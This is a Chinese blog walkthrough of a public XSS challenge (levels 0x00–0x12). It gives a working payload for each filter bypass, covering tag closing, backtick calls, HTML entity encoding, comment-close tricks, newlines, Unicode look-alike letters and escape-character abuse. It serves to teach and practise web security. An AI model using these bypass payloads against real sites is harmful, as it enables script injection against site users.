XSS漏洞的与标签的那些个事~

这篇博客详细介绍了XSS漏洞的各种利用和防御手段,包括如何在div、textarea、input等标签中插入恶意脚本,以及如何通过编码、换行、特殊字符等方式绕过过滤机制。同时,文章还讨论了正则表达式的应用和JavaScript的大小写敏感性在XSS攻击中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00(div)

div标签里面插入script即可
在这里插入图片描述

0x01(textarea)

textarea内嵌js脚本,不会被执行。这个时候,我们闭合textarea标签即可
在这里插入图片描述

0x02(input)

借助sql注入的方法,把input标签闭合。我设计了一个点击事件,点击弹出
在这里插入图片描述

0x03

html可以正常显示标签,但是有括号就给过滤了。可以使用``来代替括号

<script>alert`1`</script>

在这里插入图片描述

0x04

增加了过滤,把``也过滤掉了。那么考虑使用编码绕过。
(的编码是40,16进制是28
)的编码是41,16进制是29
因为使用编码,所以不能使用script标签了,这里考虑用img标签

<img src="" onerror=alert&#x28;1&#x29;>

在这里插入图片描述

0x05

他把提交的内容注释了,又把闭合注释符给过滤了。
一般是用-->注释,但是也可以使用--!>闭合注释
在这里插入图片描述

0x06

这个涉及到正则表达式.
他会把以on、auto开头,以=结尾的东西,替换成_
可以使用换行绕过
在这里插入图片描述

0x07

该正则会过滤所有的<>这里使用html的容错,不去闭合标签

<img src="x" οnerrοr="alert(1)"

在这里插入图片描述

0x08

正则过滤了</style> 可以多加一个空格来逃逸,也可以换行

</style > <script>alert(1) </script> <style>

在这里插入图片描述

0x09

必须包含给定的这个url而已

https://www.segmentfault.com"> </script> <img src= "" onerror = "alert(1)

在这里插入图片描述

0x0A

考察的点是引用指定网站下的目录文件达到xss注入的目的

0x0B

将所有的东西转为大写。
html对大小写不敏感,js对大小写敏感。所以考虑对js进行编码处理。
利用burp进行编码
在这里插入图片描述

在这里插入图片描述

0x0C

过滤了script标签,用上一题的方法即可
在这里插入图片描述

0x0D

把斜杠, 单、双引号、尖括号都过滤了
在这里插入图片描述
换行符破坏单行注释


alert(1)
-->

在这里插入图片描述

0x0E

正则的内容是如果<和字母相连,就会在中间加一个下划线,之后再把所有的字母都大写显示。
使用ſ,ſ大写是s。所有,答案的payload是

<ſcript src="https://xss.haozi.me/j.js"></script>

同理,我想到了img标签,在
http://www.52unicode.com/latin-extended-a-zifu
上,我找到了i的拉丁文ı
得到payload

<ımg src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

在这里插入图片描述

0x0F

把注入的字符进行了编码处理,但是当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。

');alert(1);//

在这里插入图片描述

0x10

没有过滤,换行闭合,然后xss
在这里插入图片描述

0x11

字符转义了,换行也转义了。但是//被转义成\/\/还可以用。转义之后依旧是//
在这里插入图片描述

0x12

输入"他会把”给增加一个转义符转义掉。那么我们可以自己添加一个转义符,把他增加的那个转义符号给转义掉

\");alert(1); //

在这里插入图片描述
也可以无视他,直接闭合script标签。

</script>
<script>alert(1)
 //

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值